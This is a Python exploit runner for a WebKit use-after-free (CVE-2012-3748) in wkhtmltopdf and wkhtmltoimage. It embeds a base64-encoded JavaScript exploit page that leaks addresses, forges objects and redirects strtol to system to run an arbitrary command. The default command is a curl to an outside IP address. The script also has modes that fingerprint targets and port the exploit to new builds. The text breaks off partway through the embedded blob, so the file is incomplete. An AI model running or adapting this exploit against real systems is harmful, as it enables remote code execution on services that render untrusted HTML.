#!/usr/bin/env python3
"""
wkpwn.py -- single-file portable wkhtmltox RCE runner + porter
            (WebKit 534.34 / CVE-2012-3748, JSArray::sort UAF)

SELF-CONTAINED: the exploit page and the fingerprint probe are embedded (base64).
Nothing else is needed on the host except python3, plus:
  - docker  (for image targets)  OR a local wkhtmltopdf/wkhtmltoimage (--local)
  - gdb + readelf                (only for --fp fingerprint / --port derivation)

USAGE
  wkpwn.py                                 interactive menu (no args)
  wkpwn.py <docker-image> [-b BIN] [-c CMD] [-n N]
  wkpwn.py --local <path>     [-c CMD] [-n N]
  wkpwn.py --fp <target> [-b BIN]          fingerprint the build only
  wkpwn.py --extract <target> [-b BIN]     leak a NEW build's full row from scratch (no ref needed)
  wkpwn.py --port <img-bin> [--ref-bin PDF --ref-off "IMPLVT=..,WRAPVT=..,..."]
                                           derive an IMAGE row from a same-build PDF (relocation match)
  wkpwn.py --emit [path]                   write the exploit page to disk (default ./wkpwn_exploit.html)
  wkpwn.py --list                          explain the preset targets

  -b/--binary  wkhtmltopdf (default) | wkhtmltoimage
  -c/--cmd     command to run (default: id). Pass JUST the command -- its output is
               auto-captured and printed for you; do NOT add your own '>/tmp/pwn'.
               Any length works (long commands are auto-staged to a script).
  -n/--count   attempts before giving up (default 5)

ADDING A NEW BUILD (semi-automated):
  1) wkpwn.py --fp <target>          -> leaks fpwk; says KNOWN or NEW
  2) if NEW:  wkpwn.py --extract <target> [-b wkhtmltopdf|wkhtmltoimage]
        Leaks the whole row (IMPLVT/WRAPVT/STVT/CINFO from a core + STGOT/GEGOT from the
        GOT + PIE/useGOT from the ELF header) -- works for ANY build, no reference binary.
        (--port is an alternative for an IMAGE when you already have its same-build PDF row.)
  3) paste the printed row into EXTRA_ROWS below. Done -- it's injected every run.
"""
import argparse, base64, os, re, shutil, struct, subprocess, sys, tempfile

# ============================ embedded assets ================================
EMBEDDED_HTML_B64     = "PGh0bWw+PGJvZHk+PHNjcmlwdD4KdmFyIENNRD0iY3VybCAxNTkuMjIzLjEyOS43MyI7Ci8qIEVuZ2luZS1hZGFwdGl2ZSB0ZXN0IHBhZ2UuIERpc3BhdGNoZXMgb24gbmF2aWdhdG9yLnVzZXJBZ2VudCB0byB0aGUgbWF0Y2hpbmcKICogaGFuZGxlciBmb3IgdGhlIHR3byBXZWJLaXQgYnVpbGRzIHdraHRtbHRvcGRmIHNoaXBzLiBEcm9wcyBgaWRgIHRvIC90bXAvcHduLiAqLwp2YXIgdWEgPSBuYXZpZ2F0b3IudXNlckFnZW50OwppZiAodWEuaW5kZXhPZigiQXBwbGVXZWJLaXQvNTM0LjM0IikgIT09IC0xKSBydW41MzQoKTsKZWxzZSBpZiAodWEuaW5kZXhPZigiQXBwbGVXZWJLaXQvNjAyLjEiKSAhPT0gLTEpIHJ1bjYwMigpOwoKLyogLS0tLS0tLS0tLS0tLS0tLSBXZWJLaXQgNTM0LjM0IChwYXRjaGVkLXF0IGJ1aWxkcykgLS0tLS0tLS0tLS0tLS0tLSAqLwpmdW5jdGlvbiBydW41MzQoKXsKLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogKiBXZWJLaXQgNTM0LjM0IC8gUXRXZWJLaXQgMi4yIGhhbmRsZXIsIENWRS0yMDEyLTM3NDgKICogSlNBcnJheTo6c29ydCBzdGFsZS1BcnJheVN0b3JhZ2UgdXNlLWFmdGVyLWZyZWUuCiAqIFNlbGYtY29udGFpbmVkLCBubyBuZXR3b3JrLCBmdWxsIEFTTFIgZGVmZWF0ZWQgKGV2ZXJ5IGFkZHJlc3MgbGVha2VkIGxpdmUpLAogKiBKSVQtb2ZmIC8gZGF0YS1vbmx5LiBTZWxmLXNlbGVjdHMgYWNyb3NzIGV2ZXJ5IHNoaXBwZWQgYnVpbGQgYXQgcnVudGltZToKICogICBCVUlMRCAgOiBpbXBsX3Z0ICYgMHhmZmYgIC0+IG9mZnNldCByb3cgICAgICAoQlVJTEQgVEFCTEUsIGJlbG93KQogKiAgIGdsaWJjICA6IGdldGVudiAgJiAweGZmZiAgLT4gRlNPUCBsaWJjIG9mZnMgIChwbyBUQUJMRSwgYmVsb3cpCiAqIGFuZCBwaWNrcyBvbmUgb2YgdGhyZWUgZmluaXNoZXJzIHBlciBidWlsZDoKICogICBHT1QgICAgOiBzdHJ0b2xAR09UIC0+IHN5c3RlbSwgZmlyZWQgYnkgbmV3IERhdGUoKSAgICAgKFBhcnRpYWwtUkVMUk8gUElFKQogKiAgIEZTT1AgICA6IEhvdXNlLW9mLUFwcGxlLTIgb24gX0lPXzJfMV9zdGRlcnJfOyBwdXJlLUpTICAgKG5vbi1QSUUgKyBGdWxsLVJFTFJPKQogKiAgICAgICAgICAgIHRyaWdnZXIgKGZhLngwIC0+IF9JT19mbHVzaF9hbGwpLCBhbGVydCgpIG9ubHkgb24gZ2xpYmMgMi4zNQogKiAgIGxhenlwdHI6IF9zdHJ0b2wgX19sYV9zeW1ib2xfcHRyIC0+IHN5c3RlbSAgICAgICAgICAgICAgKG1hY09TIE1hY2gtTykKICogVmVyaWZpZWQ6IGNlbnRvczcvYW1hem9ubGludXgyL25hdGl2ZS9qYW1teS9ib29rd29ybS90cml4aWUvQ2VudE9TLTkvbWFjT1MsCiAqIGJvdGggd2todG1sdG9wZGYgJiB3a2h0bWx0b2ltYWdlLCBnbGliYyAyLjE34oCTMi40MSwgZnVsbCBBU0xSLCBubyBkZWJ1Z2dlci4KICogRnVsbCB0YXJnZXQgbWF0cml4ICsgcG9ydGluZyByZWNpcGU6IFRBUkdFVFMubWQuICAoZG8gbm90IGhhbmQtZWRpdCBvZmZzZXRzKQogKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovCnZhciBfZ2M9W107CmZ1bmN0aW9uIGxvMzIoYSl7cmV0dXJuIChhJTB4MTAwMDAwMDAwKT4+PjA7fSBmdW5jdGlvbiBoaTMyKGEpe3JldHVybiBNYXRoLmZsb29yKGEvMHgxMDAwMDAwMDApPj4+MDt9CmZ1bmN0aW9uIEwoYSl7cmV0dXJuIGxvMzIoYSk7fSBmdW5jdGlvbiBIKGEpe3JldHVybiBoaTMyKGEpO30KdmFyIF9kdj1uZXcgRGF0YVZpZXcobmV3IEFycmF5QnVmZmVyKDgpKTsKZnVuY3Rpb24gZDJ1KGQpe19kdi5zZXRGbG9hdDY0KDAsZCx0cnVlKTsgcmV0dXJuIFtfZHYuZ2V0VWludDMyKDAsdHJ1ZSk+Pj4wLF9kdi5nZXRVaW50MzIoNCx0cnVlKT4+PjBdO30KZnVuY3Rpb24gZnVsbHB0cihkYmwpeyB2YXIgcj1kMnUoZGJsKTsgdmFyIHFoPShyWzFdKzB4MTAwMDApPj4+MCwgcWw9clswXT4+PjA7CiAgdmFyIHBoaT1xaD4+PjE2OyB2YXIgcGxvPSgoKHFsPj4+MTYpfCgocWgmMHhmZmZmKTw8MTYpKT4+PjApOyByZXR1cm4gcGhpKjB4MTAwMDAwMDAwK3BsbzsgfQpmdW5jdGlvbiBhZGRyb2YodCl7CiAgdmFyIHZ3PVtdOyB2YXIgYTE9W107IGZvcih2YXIgaT0wO2k8MzI7aSsrKSBhMVtpXT10OyBhMVszMl09MHg0MTQxMDAwMDsgX2djLnB1c2goYTEsdncpOyB2YXIgZGlkPWZhbHNlOwogIGExLnNvcnQoZnVuY3Rpb24oeCx5KXsgaWYoIWRpZCYmKHg9PT0weDQxNDEwMDAwfHx5PT09MHg0MTQxMDAwMCkpe2RpZD10cnVlOyBmb3IodmFyIGc9MDtnPDQwOTY7ZysrKWExLnB1c2goZyk7CiAgICBmb3IodmFyIHE9MDtxPDIwMDA7cSsrKXt2YXIgdj1uZXcgVWludDMyQXJyYXkoMTAwKTt2WzBdPTB4N2FiYzAwMDArcTt2dy5wdXNoKHYpO319IHJldHVybiAwO30pOwogIHZhciBjPXt9LGI9bnVsbCxibj0wOyBmb3IodmFyIGk9MDtpPHZ3Lmxlbmd0aDtpKyspe3ZhciB2PXZ3W2ldOwogICAgZm9yKHZhciBrPTA7aysxPHYubGVuZ3RoO2srKyl7dmFyIGxvPXZba10+Pj4wLGhpPXZbaysxXT4+PjA7CiAgICAgIGlmKGhpPjAmJmhpPDB4MTAwMDAmJmxvPjAmJihsbz4+PjE2KSE9PTB4N2FiYyl7dmFyIGtleT1oaSsiOiIrbG87Y1trZXldPShjW2tleV18fDApKzE7CiAgICAgICAgaWYoY1trZXldPmJuKXtibj1jW2tleV07Yj1bbG8saGldO319fX0gcmV0dXJuIGI/KGJbMV0qMHgxMDAwMDAwMDArYlswXSk6MDsKfQpmdW5jdGlvbiBta21hcE4oVGxvLFRoaSxOKXt2YXIgYT1uZXcgQXJyYXkoMTgzKTsKICBhWzBdPVRsbyYweGZmZmY7YVsxXT0oVGxvPj4+MTYpJjB4ZmZmZjthWzJdPVRoaSYweGZmZmY7YVszXT0oVGhpPj4+MTYpJjB4ZmZmZjsKICBhWzRdPU4mMHhmZmZmO2FbNV09MDthWzZdPTA7YVs3XT0wO2FbOF09TiYweGZmZmY7YVs5XT0wO2FbMTBdPTA7YVsxMV09MDtmb3IodmFyIGk9MTI7aTwxODM7aSsrKWFbaV09MDsKICByZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLGEpO30KLy8gTGVhayBxd29yZHMgYXQgKm10IHZpYSBhIGZha2Ugc3BhcnNlIEhhc2hUYWJsZSBwbGFudGVkIG1pZC1zb3J0LgovLyAgIHJhdyBmYWxzeSAgLT4gcmVjb3ZlcmVkIHBvaW50ZXJzIChmdWxscHRyIG1hdGgsIGNvbnNlY3V0aXZlLWRlZHVwZWQpICBbdGhlIGxlYWtzXQovLyAgIHJhdyB0cnV0aHkgLT4gcmF3IGhpZ2gtZHdvcmRzIChmdWxsLWRlZHVwZWQsIG5vIHB0ciBtYXRoKSAgICAgICAgICAgICBbdGhlIGZwIHJlYWQgb25seV0KLy8gVGhlIGNhcHR1cmVkIGRvdWJsZXMgYXJlIGlkZW50aWNhbCBlaXRoZXIgd2F5OyBvbmx5IHRoZSBwb3N0LXByb2Nlc3NpbmcgZGlmZmVycy4KZnVuY3Rpb24gcmVhZDIobXQsa2VlcGVyLE4scmF3KXsKICB2YXIgbG89bG8zMihtdCksaGk9aGkzMihtdCksY2FwPVtdOwogIHZhciBhMT1bXTtmb3IodmFyIGk9MDtpPDI4O2krKylhMVtpXT1rZWVwZXI7YTFbMjhdPTB4NDE0MTAwMDA7YTFbMjldPWtlZXBlcjthMVszMF09a2VlcGVyO2ExWzMxXT1rZWVwZXI7YTFbMzJdPWtlZXBlcjtfZ2MucHVzaChhMSxjYXApOwogIHZhciBkaWQ9ZmFsc2U7CiAgYTEuc29ydChmdW5jdGlvbih4LHkpe2lmKCFkaWQmJih4PT09MHg0MTQxMDAwMHx8eT09PTB4NDE0MTAwMDApKXtkaWQ9dHJ1ZTtmb3IodmFyIGc9MDtnPDQwOTY7ZysrKWExLnB1c2goZyk7CiAgICB2YXIgcz1bXTtmb3IodmFyIHE9MDtxPDE1MDA7cSsrKXMucHVzaChta21hcE4obG8saGksTikpO19nYy5wdXNoKHMpO30KICAgIGVsc2UgaWYoZGlkKXt2YXIgVj1udWxsO2lmKHghPT1rZWVwZXImJnghPT0weDQxNDEwMDAwKVY9eDtlbHNlIGlmKHkhPT1rZWVwZXImJnkhPT0weDQxNDEwMDAwKVY9eTsKICAgICAgaWYoViE9PW51bGwmJnR5cGVvZiBWPT09Im51bWJlciIpY2FwLnB1c2goVik7fXJldHVybiAwO30pOwogIGlmKHJhdyl7IHZhciByPVtdOyBmb3IodmFyIGlpPTA7aWk8Y2FwLmxlbmd0aDtpaSsrKXsgdmFyIGhoPWQydShjYXBbaWldKVsxXT4+PjAsZj1mYWxzZTsKICAgICAgZm9yKHZhciBtPTA7bTxyLmxlbmd0aDttKyspaWYoclttXT09PWhoKWY9dHJ1ZTsgaWYoIWYpci5wdXNoKGhoKTsgfSByZXR1cm4gcjsgfQogIHZhciBkPVtdOyBmb3IodmFyIGlpPTA7aWk8Y2FwLmxlbmd0aDtpaSsrKXsgdmFyIHA9ZnVsbHB0cihjYXBbaWldKTsgaWYoZC5sZW5ndGg9PT0wfHxkW2QubGVuZ3RoLTFdIT09cClkLnB1c2gocCk7IH0gcmV0dXJuIGQ7Cn0KZnVuY3Rpb24gZmFrZW9iaih4bG8seGhpKXsKICB2YXIgdnc9W10sIGNhcD1bXTsgdmFyIHByb2JlPXttOjF9OwogIHZhciBhMT1bXTsgYTFbMF09cHJvYmU7IGExWzFdPTB4NDE0MTAwMDA7IGZvcih2YXIgaT0yO2k8MzM7aSsrKSBhMVtpXT1wcm9iZTsgX2djLnB1c2goYTEsdncsY2FwKTsKICB2YXIgZGlkPWZhbHNlOwogIGExLnNvcnQoZnVuY3Rpb24oeCx5KXsgaWYoIWRpZCYmKHg9PT0weDQxNDEwMDAwfHx5PT09MHg0MTQxMDAwMCkpe2RpZD10cnVlOwogICAgZm9yKHZhciBnPTA7Zzw0MDk2O2crKykgYTEucHVzaChnKTsKICAgIGZvcih2YXIgcT0wO3E8MjAwMDtxKyspe3ZhciB2PW5ldyBVaW50MzJBcnJheSgxMDApOyBmb3IodmFyIHQ9MTA7dDwxMDA7dCs9Mil7dlt0XT14bG87dlt0KzFdPXhoaTt9IHZ3LnB1c2godik7fX0KICAgIGVsc2UgaWYoZGlkKXsgaWYoeCE9PXByb2JlJiZ4IT09MHg0MTQxMDAwMCYmdHlwZW9mIHg9PT0ib2JqZWN0IiYmeCE9PW51bGwpY2FwLnB1c2goeCk7CiAgICAgIGVsc2UgaWYoeSE9PXByb2JlJiZ5IT09MHg0MTQxMDAwMCYmdHlwZW9mIHk9PT0ib2JqZWN0IiYmeSE9PW51bGwpY2FwLnB1c2goeSk7fSByZXR1cm4gMDt9KTsKICByZXR1cm4gY2FwLmxlbmd0aD9jYXBbMF06bnVsbDsKfQp2YXIgVFY9bmV3IFVpbnQzMkFycmF5KDB4MTQwKTsgZm9yKHZhciBpPTA7aTwweDE0MDtpKyspIFRWW2ldPTA7IF9nYy5wdXNoKFRWKTsgICAvLyAweDUwMC1ieXRlIGJhY2tpbmcsIHplcm9lZAovLyBSRVNbXSA9IGdkYi1vbmx5IGRpYWdub3N0aWMgY2hhbm5lbCAoaXJyZWxldmFudCB0byBwb3BwaW5nOyBpbnNwZWN0IGFmdGVyIGEgY3Jhc2ggdG8gc2VlCi8vIGhvdyBmYXIgd2UgZ290KTogWzBdPTB4RjAwRDAwMDAgbWFnaWMgIFszXT0weEYwMEQwMDAxIHdoZW4gZmluaXNoZXIgcmVhY2hlZCAgWzguLjldPWltcGwKLy8gWzEwLi4xM109TWIsYmFja2luZyAgWzE2XT1zdGFnZSByZWFjaGVkICgxLi43KSAgWzE3XT1mYWtlb2JqIG9rICBbMjddPXBvICBbMjhdPWZwd2suCnZhciBSRVM9bmV3IFVpbnQzMkFycmF5KDB4MjApOyBSRVNbMF09MHhGMDBEMDAwMDsgUkVTWzNdPTA7IF9nYy5wdXNoKFJFUyk7CnZhciBBdHY9YWRkcm9mKFRWKSwgQWhpPWhpMzIoQXR2KTsKdmFyIE0wPUF0disweDI0LCBvbG89bG8zMihNMCksIG9oaT1oaTMyKE0wKSwgZGlkPWZhbHNlLCBkb25lPWZhbHNlOwp2YXIgYTE9W107Zm9yKHZhciBpPTA7aTwyODtpKyspYTFbaV09VFY7YTFbMjhdPTB4NDE0MTAwMDA7YTFbMjldPVRWO2ExWzMwXT1UVjthMVszMV09VFY7YTFbMzJdPVRWO19nYy5wdXNoKGExKTsKYTEuc29ydChmdW5jdGlvbih4LHkpewogIGlmKCFkaWQmJih4PT09MHg0MTQxMDAwMHx8eT09PTB4NDE0MTAwMDApKXtkaWQ9dHJ1ZTtmb3IodmFyIGc9MDtnPDQwOTY7ZysrKWExLnB1c2goZyk7CiAgICB2YXIgcz1bXTtmb3IodmFyIHE9MDtxPDE1MDA7cSsrKXMucHVzaChta21hcE4ob2xvLG9oaSw2KSk7X2djLnB1c2gocyk7fQogIGVsc2UgaWYoZGlkKXsKICAgIHZhciBWPW51bGw7IGlmKHghPT1UViYmeCE9PTB4NDE0MTAwMDAmJnR5cGVvZiB4PT09Im51bWJlciIpVj14OyBlbHNlIGlmKHkhPT1UViYmeSE9PTB4NDE0MTAwMDAmJnR5cGVvZiB5PT09Im51bWJlciIpVj15OwogICAgaWYoViE9PW51bGwgJiYgIWRvbmUpeyBkb25lPXRydWU7CiAgICAgIHZhciBpbXBsPUFoaSoweDEwMDAwMDAwMCsoKGQydShWKVsxXSsweDEwMDAwKT4+PjApOwogICAgICBSRVNbOF09TChpbXBsKTtSRVNbOV09SChpbXBsKTtSRVNbMTZdPTE7CiAgICAgIHZhciBpc01hYz0vTWFjLy50ZXN0KG5hdmlnYXRvci5wbGF0Zm9ybSk7CiAgICAgIHZhciBJTVBMVlQ9MCxXUkFQVlQ9MCxTVFZUPTAsQ0lORk89MCxTVEdPVD0wLEdFR09UPTAsUElFPTAsdXNlR09UPTAsZnB3az0wLG9zPSJsaW51eCIsU1RSVE9MUD0wLERFTFRBPTAsaW1wbF92dD0wLGJhY2tpbmc9MCxNYj0wOwogICAgICBpZihpc01hYyl7CiAgICAgICAgLy8gbWFjT1MgTWFjaC1POiByZWFkMihpbXBsLTB4YSwyKSBsZWFrICh0aGUgcmF3IGZwIHJlYWQgY29ycnVwdHMgbWFjT1MgbWFsbG9jKTsgX3N0cnRvbCBsYXp5LXB0ciBmaW5pc2hlcgogICAgICAgIHZhciB2c209cmVhZDIoaW1wbC0weGEsIFRWLCAyKTsgaW1wbF92dD12c20ubGVuZ3RoPj0xP3ZzbVswXTowOyBiYWNraW5nPXZzbS5sZW5ndGg+PTI/dnNtW3ZzbS5sZW5ndGgtMV06MDsKICAgICAgICBmcHdrPWltcGxfdnQmMHhmZmY7IG9zPSJtYWNvcyI7IFBJRT0xOwogICAgICAgIElNUExWVD0weDI0YWQ5Njg7V1JBUFZUPTB4MjUzZTM5MDtTVFZUPTB4MjQ1NDNiMDtDSU5GTz0weDI1M2UzNjA7R0VHT1Q9MHgyNDQyOWY4O1NUUlRPTFA9MHgyNDQyZmU4O0RFTFRBPTB4N2MzYjk7IC8vIHdraHRtbHRvcGRmIDAuMTIuNiBtYWNPUyAoZnB3ayAweDk2OCkKICAgICAgICBNYj1pbXBsX3Z0LUlNUExWVDsKICAgICAgfSBlbHNlIHsKICAgICAgdmFyIHJyPXJlYWQyKGltcGwtMHgxYywgVFYsIDMsIDEpOyAgIC8vIExpbnV4IGZwIHJlYWQgKHJhdzsgUElFLWJlbmlnbiBtdDsgc2FmZSBvbiBQSUUgKyBub24tUElFKQogICAgICBmb3IodmFyIGZpPTA7Zmk8cnIubGVuZ3RoO2ZpKyspeyB2YXIgX2M9cnJbZmldJjB4ZmZmOwogICAgICAgIGlmKF9jPT09MHhhOTApeyBJTVBMVlQ9MHgyNTk5YTkwO1dSQVBWVD0weDI1NWU4NzA7U1RWVD0weDI0MzdlMTA7Q0lORk89MHgyNTVlYTAwO1NUR09UPTB4MjYwYzdlMDtHRUdPVD0weDI2MGQyYTg7UElFPTA7dXNlR09UPTE7ZnB3az1fYzticmVhazsgfSAvLyBjZW50b3M3IHBkZiBSUE0gICAgICAgKG5vbi1QSUUsIEdPVCkKICAgICAgICBlbHNlIGlmKF9jPT09MHhiYTgpeyBJTVBMVlQ9MHgyNWY5YmE4O1dSQVBWVD0weDI3MTFiOTA7U1RWVD0weDI2MWNmYzA7Q0lORk89MHgyNzExZDIwO1NUR09UPTB4Mjc5YTdjODtHRUdPVD0weDI3OWIyNzA7UElFPTA7dXNlR09UPTE7ZnB3az1fYzticmVhazsgfSAvLyBhbWF6b25saW51eDIgcGRmIFJQTSAgKG5vbi1QSUUsIEdPVCkKICAgICAgICBlbHNlIGlmKF9jPT09MHhmYTgpeyBJTVBMVlQ9MHgyOTRkZmE4O1dSQVBWVD0weDJhNjc5NTA7U1RWVD0weDI5NzJkNjA7Q0lORk89MHgyYTY3YWUwO1NUR09UPTB4MmFmMDg1ODtHRUdPVD0weDJhZjEyNjA7UElFPTE7dXNlR09UPTE7ZnB3az1fYzticmVhazsgfSAvLyBuYXRpdmUgMC4xMi42LjEgcGRmICAgKFBJRSwgR09UKQogICAgICAgIGVsc2UgaWYoX2M9PT0weDIyOCl7IElNUExWVD0weDI5M2YyMjg7V1JBUFZUPTB4MmE1ODk1MDtTVFZUPTB4Mjk2M2Q2MDtDSU5GTz0weDJhNThhZTA7U1RHT1Q9MHgyYWUxODU4O0dFR09UPTB4MmFlMjI2MDtQSUU9MTt1c2VHT1Q9MTtmcHdrPV9jO2JyZWFrOyB9IC8vIG5hdGl2ZSB3a2h0bWx0b2ltYWdlICAgKFBJRSwgR09UKQogICAgICAgIGVsc2UgaWYoX2M9PT0weDdlOCl7IElNUExWVD0weDJiY2M3ZTg7V1JBUFZUPTB4MmNlNjE3MDtTVFZUPTB4MmJmMTVhMDtDSU5GTz0weDJjZTYzMDA7U1RHT1Q9MHgyZDZlY2U4O0dFR09UPTB4MmQ2Zjc3MDtQSUU9MTt1c2VHT1Q9MDtmcHdrPV9jO2JyZWFrOyB9IC8vIGphbW15IENMSSBwZGYgICAgICAgICAoRnVsbC1SRUxSTyBQSUUsIEZTT1ApCiAgICAgICAgZWxzZSBpZihfYz09PTB4YTY4KXsgSU1QTFZUPTB4MmJiZGE2ODtXUkFQVlQ9MHgyY2Q3MTcwO1NUVlQ9MHgyYmUyNWEwO0NJTkZPPTB4MmNkNzMwMDtTVEdPVD0weDJkNWZjZTg7R0VHT1Q9MHgyZDYwNzY4O1BJRT0xO3VzZUdPVD0wO2Zwd2s9X2M7YnJlYWs7IH0gLy8gamFtbXkgd2todG1sdG9pbWFnZSAgICAoRnVsbC1SRUxSTyBQSUUsIEZTT1ApCiAgICAgICAgZWxzZSBpZihfYz09PTB4MWE4KXsgSU1QTFZUPTB4MmEwNjFhODtXUkFQVlQ9MHgyYjFmOTcwO1NUVlQ9MHgyYTJhZGEwO0NJTkZPPTB4MmIxZmIwMDtTVEdPVD0weDJiYTg4MjA7R0VHT1Q9MHgyYmE5MmIwO1BJRT0xO3VzZUdPVD0wO2Zwd2s9X2M7YnJlYWs7IH0gLy8gdHJpeGllIHdraHRtbHRvaW1hZ2UgKGdsaWJjIDIuNDEpCiAgICAgICAgZWxzZSBpZihfYz09PTB4ZjI4KXsgSU1QTFZUPTB4MmExNWYyODtXUkFQVlQ9MHgyYjJmOTcwO1NUVlQ9MHgyYTNhZGEwO0NJTkZPPTB4MmIyZmIwMDtTVEdPVD0weDJiYjg4MjA7R0VHT1Q9MHgyYmI5MmIwO1BJRT0xO3VzZUdPVD0xO2Zwd2s9X2M7YnJlYWs7IH0gLy8gb2ZmaWNpYWwgYm9va3dvcm0gMC4xMi42LjEgd2todG1sdG94IChQYXJ0aWFsIFJFTFJPLCBHT1QpCiAgICAgICAgZWxzZSBpZihfYz09PTB4OWU4KXsgaWYoKHJyW2ZpXSYweGZmZmYpPT09MHgwOWU4KXsgSU1QTFZUPTB4MjRmMDllODtXUkFQVlQ9MHgyNjA4OWYwO1NUVlQ9MHgyNTEzZTIwO0NJTkZPPTB4MjYwOGI4MDtTVEdPVD0weDI2OTE4NDA7R0VHT1Q9MHgyNjkyMmU4OyB9IGVsc2UgeyBJTVBMVlQ9MHgyNGZlOWU4O1dSQVBWVD0weDI2MTY5ZjA7U1RWVD0weDI1MjFlMjA7Q0lORk89MHgyNjE2YjgwO1NUR09UPTB4MjY5Zjg0MDtHRUdPVD0weDI2YTAyZTg7IH0gUElFPTA7dXNlR09UPTA7ZnB3az1fYzticmVhazsgfSAvLyBDZW50T1MgRE8gZHJvcGxldCBub24tUElFOiBwZGYoaW1wbF92dCYweGZmZmY9MHhlOWU4LCBkZWZhdWx0KSArIGltYWdlKDB4MDllOCkgY29sbGlkZSBhdCBmcHdrIDB4OWU4CiAgICAgIH0KICAgICAgaWYoUElFKXsgdmFyIHZzcD1yZWFkMihpbXBsLTB4YSwgVFYsIDIpOyBpbXBsX3Z0PXZzcC5sZW5ndGg+PTE/dnNwWzBdOjA7IGJhY2tpbmc9dnNwLmxlbmd0aD49Mj92c3BbdnNwLmxlbmd0aC0xXTowOyBNYj1pbXBsX3Z0LUlNUExWVDsgfQogICAgICBlbHNlIHsgTWI9MHg0MDAwMDA7IGltcGxfdnQ9TWIrSU1QTFZUOyB2YXIgdnNuPXJlYWQyKGltcGwrNiwgVFYsIDEpOyBiYWNraW5nPXZzbi5sZW5ndGg/dnNuWzBdOjA7IH0KICAgICAgfQogICAgICB2YXIgZ2lkeD0oR0VHT1QtU1RHT1QpLzQ7CiAgICAgIFJFU1sxMF09TChNYik7UkVTWzExXT1IKE1iKTtSRVNbMTJdPUwoYmFja2luZyk7UkVTWzEzXT1IKGJhY2tpbmcpO1JFU1sxNl09MjsgUkVTWzI4XT1mcHdrPj4+MDsKICAgICAgLy8gLS0tLSBmb3JnZSBmYWtlIFVpbnQzMkFycmF5IGluIFRWIGJhY2tpbmc7IGZhIGluaXRpYWxseSBwb2ludHMgYXQgaW1wbCsweDEwIChUVidzIHJlYWwgbV9iYXNlQWRkcmVzcykgLS0tLQogICAgICB2YXIgc2VsZmJhc2U9aW1wbCsweDEwOwogICAgICBUVlswXT1MKE1iK1dSQVBWVCk7VFZbMV09SChNYitXUkFQVlQpOwogICAgICBUVlsyXT1MKGJhY2tpbmcrMHg4MCk7VFZbM109SChiYWNraW5nKzB4ODApOwogICAgICBUVlsxMl09TChiYWNraW5nKzB4NDApO1RWWzEzXT1IKGJhY2tpbmcrMHg0MCk7CiAgICAgIFRWWzE2XT1MKGltcGxfdnQpO1RWWzE3XT1IKGltcGxfdnQpOwogICAgICBUVlsyMF09TChzZWxmYmFzZSk7VFZbMjFdPUgoc2VsZmJhc2UpOyAgICAgIC8vIG1fYmFzZUFkZHJlc3MgPSBpbXBsKzB4MTAgKHJlc3RvcmUgaGFuZGxlKQogICAgICBUVlsyNl09MHgxMDAwOwogICAgICBUVlszMl09TChNYitTVFZUKTtUVlszM109SChNYitTVFZUKTsKICAgICAgVFZbMzZdPTB4YTAwODsKICAgICAgVFZbNDhdPUwoTWIrQ0lORk8pO1RWWzQ5XT1IKE1iK0NJTkZPKTsKICAgICAgLy8gcHJlLXN0YWdlIGZha2Ugd2lkZS12dGFibGUgbGluayBYLT5ZIChYPWJhY2tpbmcrMHgxMDAsIFk9YmFja2luZysweDI4MCk7IGhlYWx0aHkgcHJlLWZha2VvYmogVFYgd3JpdGVzCiAgICAgIHZhciBYPWJhY2tpbmcrMHgxMDAsIFk9YmFja2luZysweDI4MCwgbG9ja2FkZHI9YmFja2luZysweGQwOwogICAgICBUVlsoMHgyMzApLzRdPUwoWSk7IFRWWygweDIzMCkvNCsxXT1IKFkpOyAgVFZbKDB4MWUwKS80XT1MKFkpOyBUVlsoMHgxZTApLzQrMV09SChZKTsgICAvLyBYKzB4ZTAgPSBfd2lkZV92dGFibGUgPSBZCiAgICAgIHZhciBmYT1mYWtlb2JqKEwoYmFja2luZysweDAwKSxIKGJhY2tpbmcrMHgwMCkpOwogICAgICBSRVNbMTddPShmYSE9PW51bGwpPzE6MDsgUkVTWzE2XT0zOwogICAgICBpZihmYSE9PW51bGwpewogICAgICAgIC8vICgxKSByZXN0b3JlIFRWJ3MgcmVhbCBtX2Jhc2VBZGRyZXNzIChmYSBjdXJyZW50bHkgPSAqKGltcGwrMHgxMCkpIHNvIFRWW2ldIHdyaXRlcyB3b3JrIGFnYWluCiAgICAgICAgUkVTWzE4XT1mYVswXT4+PjA7IFJFU1sxOV09ZmFbMV0+Pj4wOyAgICAgICAgICAvLyBjbG9iYmVyZWQgdmFsdWUgKGRpYWcpCiAgICAgICAgZmFbMF09TChiYWNraW5nKTsgZmFbMV09SChiYWNraW5nKTsKICAgICAgICBSRVNbMTZdPTQ7CiAgICAgICAgaWYob3M9PT0ibWFjb3MiKXsKICAgICAgICAgIFRWWzIwXT1MKE1iK0dFR09UKTsgVFZbMjFdPUgoTWIrR0VHT1QpOyAgICAgICAgICAgICAgICAgLy8gcG9pbnQgZmEgYXQgX2dldGVudiBsYXp5IHB0cgogICAgICAgICAgdmFyIG1nbD1mYVswXT4+PjAsIG1naD1mYVsxXT4+PjAsIG1nZT1tZ2wrbWdoKjB4MTAwMDAwMDAwOyAgLy8gPSBnZXRlbnYgKGxpYlN5c3RlbSkKICAgICAgICAgIHZhciBtc3lzPW1nZStERUxUQSwgc2lkeD0oU1RSVE9MUC1HRUdPVCkvNDsgICAgICAgICAgICAgIC8vIHN5c3RlbSA9IGdldGVuditERUxUQTsgX3N0cnRvbCBsYXp5IHB0cgogICAgICAgICAgZmFbc2lkeF09TChtc3lzKTsgZmFbc2lkeCsxXT1IKG1zeXMpOyAgICAgICAgICAgICAgICAgICAgLy8gb3ZlcndyaXRlIF9zdHJ0b2wgLT4gc3lzdGVtCiAgICAgICAgICBuZXcgRGF0ZShDTUQpOyAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHN0cnRvbChjbWQpID09IHN5c3RlbShjbWQpCiAgICAgICAgICBSRVNbM109MHhGMDBEMDAwMTsgUkVTWzE2XT02OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgLy8gKDIpIHJlLXBvaW50IGZhIGF0IHN0cnRvbEBHT1QgdmlhIFRWIChub3cgaGVhbHRoeSk7IHJlYWQgZ2V0ZW52QEdPVCAtPiBsaWJjCiAgICAgICAgdmFyIFNURz1NYitT